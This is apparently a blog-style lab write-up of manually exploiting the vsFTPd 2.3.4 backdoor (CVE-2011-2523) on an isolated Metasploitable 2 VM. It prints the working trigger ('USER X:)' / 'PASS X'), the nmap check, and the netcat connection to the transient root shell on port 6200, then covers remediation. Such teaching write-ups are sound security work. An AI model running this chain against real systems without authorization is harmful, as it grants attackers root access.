Project Aegis: From an Empty FTP Directory to a Root Shell — Exploiting vsFTPd 2.3.4 Manually

 

Project Aegis | Cybersecurity Lab

Sometimes the most interesting vulnerability isn't hidden in the files a service exposes. It's hidden in the service itself.

During a recent Project Aegis lab session, I started with what looked like a fairly uninteresting FTP service on a deliberately vulnerable Metasploitable 2 virtual machine.

Anonymous FTP login worked.

The root directory appeared empty.

There were no obvious files to download and nothing immediately interesting to enumerate.

Yet, within the same service, I eventually obtained a root shell.

The journey was a useful demonstration of a complete vulnerability-assessment workflow:

reconnaissance → service identification → vulnerability research → automated validation → source inspection → manual reproduction → exploitation → impact verification

Most importantly, it reinforced a lesson I want Aegis to teach:

Don't just run security tools. Understand what they're actually doing.

---

The Lab

For this experiment, I used an isolated cybersecurity lab consisting of:

• A Parrot Security OS attacker VM

• A deliberately vulnerable Metasploitable 2 target VM

• A private host-only network between the two machines

The vulnerable target was never exposed to an untrusted or production network.

For the purposes of this article, I'm intentionally using placeholders instead of publishing my actual lab addresses or local environment details:

<TARGET_IP>
<ATTACKER_IP>

---

1. Starting With Reconnaissance

Aegis begins with reconnaissance rather than exploitation.

The first stage was to identify the services exposed by the target.

The scan revealed numerous services, including FTP, SSH, Telnet, SMB, HTTP, database services, VNC and several other legacy services.

One immediately interesting service was:

TCP/21 — FTP

The server identified itself as:

vsFTPd 2.3.4

An old version number is not automatically a vulnerability.

So the next question was:

What security issues are associated with this exact version?

---

2. Anonymous FTP

I connected to the FTP service:

ftp <TARGET_IP>

The server responded:

220 (vsFTPd 2.3.4)

I then tried anonymous authentication:

Name: anonymous
Password: anonymous

The server accepted the login:

230 Login successful.

I checked the current directory:

ftp> pwd
Remote directory: /

Then:

ftp> ls -lh

The directory listing contained nothing useful.

At this point, FTP looked almost boring.

But this was an important moment in the investigation.

An empty directory doesn't mean an exposed service is safe.

It only tells us that the currently authenticated user isn't seeing useful content.

The service itself still needs to be investigated.

---

3. Identifying the Vulnerability

I used Nmap's NSE capabilities to investigate the specific vsFTPd version:

nmap -p21 --script ftp-vsftpd-backdoor <TARGET_IP>

The result was significant:

VULNERABLE:
vsFTPd version 2.3.4 backdoor

State: VULNERABLE (Exploitable)

CVE: CVE-2011-2523

Even more interestingly, the NSE script reported successful execution of:

id

with the result:

uid=0(root) gid=0(root)

This was much stronger evidence than simply discovering an old version.

The vulnerability had been actively validated against the target.

---

4. Don't Treat Nmap as a Black Box

At this point, I could have immediately opened Metasploit.

But I deliberately didn't.

I wanted to understand why the NSE script was able to trigger the vulnerability.

So I inspected the Nmap script:

grep -n -A15 -B15 "USER\|smiley\|:)" \
/usr/share/nmap/scripts/ftp-vsftpd-backdoor.nse

One particularly interesting line was:

local CMD_FTP = "USER X:)\r\nPASS X\r\n"

That gave me the exact FTP interaction being used by the vulnerability check:

USER X:)
PASS X

This was an important Aegis lesson.

Instead of treating the scanner as magic:

Read the implementation. Understand the protocol. Reproduce the behavior.

---

5. My First Manual Attempt Failed

My first attempt wasn't successful.

I sent:

USER test :)
PASS test

The server returned:

530 Login incorrect.

I then checked the associated backdoor port:

nmap -p6200 <TARGET_IP>

It was closed.

Rather than repeatedly guessing at different inputs, I went back to the evidence.

The Nmap script was sending:

USER X:)
PASS X

not:

USER test :)
PASS test

So I decided to reproduce the exact protocol sequence.

---

6. Manually Triggering the Backdoor

I connected directly to the FTP control channel using Telnet:

telnet <TARGET_IP> 21

The server responded:

220 (vsFTPd 2.3.4)

I then sent:

USER X:)

The server responded:

331 Please specify the password.

Then:

PASS X

This time, the behavior was different.

The FTP session appeared to hang rather than returning the normal login failure immediately.

That was interesting.

I checked TCP/6200:

nmap -p6200 <TARGET_IP>

And found:

6200/tcp open

The backdoor listener had appeared.

---

7. The Curious Case of TCP/6200

One of the most interesting observations during this exercise was that TCP/6200 wasn't permanently open.

If I waited too long and then attempted:

nc -v <TARGET_IP> 6200

I would receive:

Connection refused

A subsequent scan would show:

6200/tcp closed

This initially looked confusing.

But the behavior made sense once the timing of the exploit was understood.

The listener was transient.

Conceptually:

FTP :21
   │
   │ USER X:)
   │ PASS X
   ▼
Backdoor triggered
   │
   ▼
TCP/6200 becomes available
   │
   ▼
Connect quickly
   │
   ▼
Shell

If too much time passed:

TCP/6200
   ↓
CLOSED

This was a valuable lesson:

A port being closed doesn't necessarily mean that an exploit failed.

You have to understand the behavior of the vulnerable application.

---

8. Obtaining the Shell

I repeated the trigger and, while the temporary listener was active, immediately connected:

nc -v <TARGET_IP> 6200

The connection succeeded.

I then performed basic, read-only verification.

Identity

id

Result:

uid=0(root) gid=0(root)

Username

whoami

Result:

root

Host

hostname

Result:

metasploitable

At this point, the vulnerability had been independently reproduced.

The attack chain was no longer theoretical.

I had demonstrated:

Remote command execution with root privileges through the vulnerable FTP service.

---

9. What Does Root Access Actually Give You?

Obtaining root isn't merely a satisfying terminal prompt.

It means the normal privilege boundary of the operating system has been defeated.

I performed a small amount of read-only post-exploitation analysis.

For example:

pwd

returned:

/

The root filesystem contained the expected Linux directories:

/bin
/boot
/dev
/etc
/home
/opt
/root
/sbin
/tmp
/usr
/var

I also checked the kernel:

uname -a

The system was running an extremely old Linux kernel from the 2.6 series, consistent with the deliberately vulnerable training environment.

---

10. The Metasploitable Warning

Another interesting discovery came from the system's /etc/issue banner.

The machine explicitly warns users not to expose the VM to an untrusted network.

That's an important reminder when working with intentionally vulnerable machines.

Metasploitable is designed to be vulnerable.

It is not a machine that should be treated like an ordinary server.

A vulnerable lab should remain isolated.

---

11. Why the Empty FTP Directory Was Misleading

Looking back, the most interesting part of the exercise is probably the beginning.

I started with:

Anonymous FTP login
        ↓
/
        ↓
Empty directory

It would have been easy to conclude:

"There's nothing interesting here."

But the actual attack path was:

FTP service
    ↓
Version identification
    ↓
vsFTPd 2.3.4
    ↓
Known vulnerability
    ↓
CVE-2011-2523
    ↓
Specific FTP trigger
    ↓
Transient backdoor
    ↓
TCP/6200
    ↓
Root shell

The contents of the FTP directory were almost irrelevant.

The software running behind the service was the real attack surface.

---

12. Vulnerability ≠ Exploit ≠ Impact

This exercise also helped reinforce three concepts that are easy to mix together.

Vulnerability

The weakness in the software:

vsFTPd 2.3.4 backdoor
CVE-2011-2523

Exploit

The technique used to trigger that weakness:

USER X:)
PASS X

followed by connecting to the transient shell listener.

Impact

What successful exploitation actually achieved:

uid=0(root)

Therefore:

Remote root-level command execution.

Keeping these three concepts separate makes vulnerability analysis much clearer.

---

13. The Complete Aegis Attack Chain

The entire exercise can now be represented as:

                PROJECT AEGIS
                     │
                     ▼
             Network Recon
                     │
                     ▼
                TCP/21 FTP
                     │
                     ▼
              vsFTPd 2.3.4
                     │
                     ▼
             Vulnerability
             CVE-2011-2523
                     │
                     ▼
               USER X:)
                 PASS X
                     │
                     ▼
          Transient TCP/6200
                     │
                     ▼
                    nc
                     │
                     ▼
               uid=0(root)
                     │
                     ▼
                  ROOT

That's a complete:

Discovery → Validation → Exploitation → Impact Verification

workflow.

---

14. What I Learned About Security Tools

One of the biggest lessons wasn't actually about vsFTPd.

It was about how I want to use security tools.

Nmap

Nmap helped with:

• service discovery

• version identification

• vulnerability validation

• understanding the expected exploit result

But the important step was inspecting the NSE script.

Metasploit

Metasploit can automate exploitation, but automation can hide the underlying mechanics.

After manually reproducing this vulnerability, a Metasploit module becomes much more meaningful.

Instead of:

search
use
set RHOSTS
run

and magically receiving a shell, I now understand the sequence that the framework is automating.

That distinction is central to how I want to approach Aegis.

---

15. My Aegis Methodology

This exercise is shaping a repeatable workflow for Project Aegis.

1. Discover

Identify:

• Ports

• Services

• Protocols

• Versions

2. Understand

Investigate:

• Authentication

• Authorization

• Protocol behavior

• Configuration

3. Research

Look for:

• CVEs

• Vendor advisories

• Security research

• Source code

• Existing exploit references

4. Validate

Determine whether the vulnerability actually exists in the lab target.

5. Exploit

Use the minimum necessary action to demonstrate impact.

6. Verify

Determine:

• Who am I?

• What privileges do I have?

• What system am I on?

• What actually changed?

7. Document

Record:

• Target

• Service

• Version

• Vulnerability

• Trigger

• Evidence

• Impact

8. Remediate

Finally ask:

How would this be prevented in a real environment?

---

16. How Would This Be Remediated?

The obvious response might be:

"Block TCP/6200."

But that isn't the fundamental fix.

The underlying problem is the vulnerable and compromised vsFTPd software.

A real remediation strategy would include:

• Remove the compromised/vulnerable build.

• Upgrade to a trusted, supported version.

• Verify software/package integrity.

• Disable FTP if it isn't required.

• Prefer secure alternatives such as SFTP where appropriate.

• Restrict unnecessary service exposure.

• Apply network segmentation.

• Monitor unusual FTP authentication behavior.

• Maintain vulnerability and patch-management processes.

• Investigate and rebuild systems where compromise is suspected.

The broader security lesson is:

Reducing unnecessary attack surface and eliminating vulnerable software is more fundamental than simply hiding an individual exploit port.

---

17. The Biggest Lesson

When I started the exercise, I had:

FTP
Anonymous login
Empty directory

I ended with:

Remote root shell

The difference was enumeration and curiosity.

The important mindset shift is:

Don't ask only "What files can I access?" Ask "What software is actually running, how does it behave, and what security assumptions does it make?"

That is the kind of thinking I want Project Aegis to develop.

Not a collection of copy-pasted exploit commands.

Not a collection of Metasploit screenshots.

But the ability to move from:

observation → hypothesis → evidence → validation → controlled exploitation → understanding.

---

Project Aegis Progress

PROJECT AEGIS
══════════════════════════════════════

Lab Construction                 ✅
Network Isolation                ✅
Initial Reconnaissance           ✅
Service Enumeration              ✅
FTP Analysis                     ✅
vsFTPd Vulnerability Discovery   ✅
CVE Validation                   ✅
NSE Source Inspection            ✅
Manual Exploitation              ✅
Root Shell Verification          ✅
Post-Exploitation Analysis       ✅
Documentation                    ✅

Next:
SMB / Samba Enumeration          🔜

The next phase will move away from FTP and into SMB/Samba enumeration, where the focus will shift toward network shares, permissions, authentication, protocol behavior and vulnerable service configurations.

That should provide a completely different perspective on the attack surface.

---

Final Thought

The most memorable part of this exercise wasn't seeing:

root

It was seeing the transition:

"There's nothing in the FTP directory."
                    ↓
"What version is running?"
                    ↓
"Is that version vulnerable?"
                    ↓
"How does the exploit actually work?"
                    ↓
"Can I reproduce it manually?"
                    ↓
"Why is the backdoor port transient?"
                    ↓
"Can I prove the impact?"

That's the mindset I'm trying to build with Project Aegis.

Don't memorize the exploit. Understand the system.

---

Disclaimer: This research was performed against an intentionally vulnerable Metasploitable 2 virtual machine in an isolated personal cybersecurity lab. The techniques described should only be used against systems you own or have explicit authorization to test.